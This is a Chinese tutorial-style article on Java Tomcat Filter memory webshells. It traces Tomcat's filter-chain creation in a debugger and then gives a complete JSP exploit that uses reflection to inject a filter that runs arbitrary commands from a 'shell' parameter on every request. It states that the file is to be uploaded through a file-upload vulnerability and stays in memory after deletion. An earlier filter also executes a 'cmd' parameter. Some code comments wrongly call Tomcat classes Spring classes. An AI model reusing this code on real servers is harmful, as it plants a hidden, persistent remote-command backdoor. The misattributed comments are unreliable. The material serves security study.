java Filter内存马分析

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0x01 什么是Filter马

0x02 环境搭建

0x03 Filter内存马探索

1.tomcat Filter 的流程分析

2.攻击思路分析

0x04 Filter内存马exp编写

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本文由掌控安全学院?-?xilitter?投稿

知识基础：

刚开始内存马的这块学习与反序列化并无太大关系，反而与javaweb，tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP，java web的三大件，Servlet，Filter，Listener的基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是Filter马

内存马就是无文件木马，无文件落地，它通常会存在进程，内存或者java虚拟机中，特点更加隐蔽，难以排查，并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马，主要将恶意代码注入到过滤器中，当过滤器拦截servlet请求的参数时，过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目，
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然后一直点下一步就好了，它会自动帮我们生成一个简单的servlet
pom.xml中导入tomcat相关依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.38</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>9.0.38</version>
        </dependency>

方便之后调试代码，在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤功能");
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("cmd"));
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
}

重写了doFilter方法，里面添加恶意代码，接收cmd参数，执行任意命令。web.xml中配置相关参数

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/MyFilter</url-pattern>
</filter-mapping>

这里我定义的是/MyFilter路由，在访问这个路由时，就会被我们自定义的过滤器拦截

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子，我们注册了一个恶意的 /MyFilter 路由，访问这个路由可以执行任意代码。测试一下
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成功弹出计算器，这也是注入Filter内存马的一个抽象的体现。然而在实际攻防场景中，我们不可能在别人服务器上插入自己自定义的过滤器，web.xml这个配置文件也不是那么容易修改，就算修改了配置文件也很好排查，起不到隐秘的效果，要想动态的注册Filter马，就必须弄清楚过滤器的创建和调用过程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下个断点，访问/MyFilter路由，会被我们自定义的过滤器拦截，doFilter方法是处理过滤功能的方法，开始调试
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这个filterChain是一个过滤器链，通过调试看到里面存放着两个过滤器，一个是我们自定义的，一个是 tomcat 自带的，跟进它的doFilter方法
判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启，这里判断false，
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跟进 internalDoFilter 方法
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filters 是过滤器链数组，取数组的下标，遍历过滤器，赋值给filterConfig
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此时的过滤器为WsFilter 调用它的doFilter方法，跟进看一下
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这里的判断 是否满足WebSocket握手的特殊条件，而且是否已经配置了相应的类来处理WebSocket连接，如果两个都不满足，然后回调用过滤器链中的下一个过滤器。继续跟进
又回到了 internalDoFilter 方法，此时pos=2，不满足if条件。也就是说当过滤器遍历完后，就会调用 service 方法处理具体的业务请求
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事实上可以定义多个过滤器，当拦截请求后，从filterChain 中一个个调用doFilter方法，最终执行 service 方法
那么Filter链是怎么一步步创建的，我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程
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通过执行流可以看到不断调用 invoke 方法，跟进最后一个 invoke方法，也就是 StandardWrapperValve 类的 invoke 方法，
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这里已经创建好了 Filter链，往上翻代码，
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createFilterChain 就是创建Filter链的重要方法，进入到这个方法下个断点，开始调试
?

这里实例化一个filterChain，设置了当前过滤器链中的 Servlet，然后获取当前 Servlet 包含在的上下文，从调式信息就可以看到是 StandardContext 对象，最后定义一个filterMaps 获取了当前上下文中的过滤器映射
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此时的filterMaps就获取到了两个过滤器，到后面会对filterMaps进行两次遍历
这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中，以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时，会检查 Dispatcher 类型、URL 和 Servlet 名称，然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置，继续处理下一个过滤器映射
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filterConfig 是通过调用context上下文的findFilterConfig方法获取，filterConfigs是一个Map，从里面拿
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最后通过 addFilter 方法将过滤器添加到链中。

2.攻击思路分析

过滤器是从filterConfigs这个Map里拿的，那么我们把恶意的Filter添加进 filterConfigs 里，等它取出来，添加到Filter链中就可以了，那么接下来怎么构造过滤器，也就是filterConfig，看调试信息
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首先获取上下文context，然后就是自定义的filter代码，最后一个filterDef就是对应web.xml中对filter的配置，fiterConfig的相关内容都是从context中得到

FilterDefs：存放 FilterDef 的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例等基本信息
FilterConfigs：存放 filterConfig 的数组，在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

所以只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了
贴上别的师傅的流程图
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其中这里涉及到了几个类

ServletContext：
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。并且它被所有客户端共享。 

ApplicationContext：
org.apache.catalina.core.ApplicationContext
对应Tomcat容器，为了满足Servlet规范，必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext：
Catalina主要包括Connector和Container，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。
一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）

引用师傅的解释，当前这是前面tomcat架构的内容，所以基础内容还是要了解。

0x04 Filter内存马exp编写

通过反射创建上面需要的几个对象

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//请求对象 request 中获取 ServletContext 对象。
    ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类，用于封装 Spring 的 Web 应用程序上下文。
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);


// context 字段，即 Spring 的应用程序上下文对象。通过反射获取到该字段的值，它被强制转换为 ApplicationContext 类型
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //类型转换standardContext，标准的web应用程序上下文
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){
        //构造filter对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("filter初始化");
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("执行过滤");
            }
            @Override
            public void destroy() {
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        //将过滤器的配置信息添加到应用程序上下文中
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        //添加映射的路由为所有请求
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将上述设置好的过滤器映射对象添加到 StandardContext 中，并将其插入到已有的过滤器映射之前
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中，即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("注入完成");
    }
%>

为什么要写jsp文件，因为在实际场景中，可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了，分步编写exp。
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注入成功后，我们对服务器访问任何请求，都会执行恶意代码。而且当jsp文件删除后，木马仍然有效。它存在当前的web应用上下文中，所以重启服务器就没了。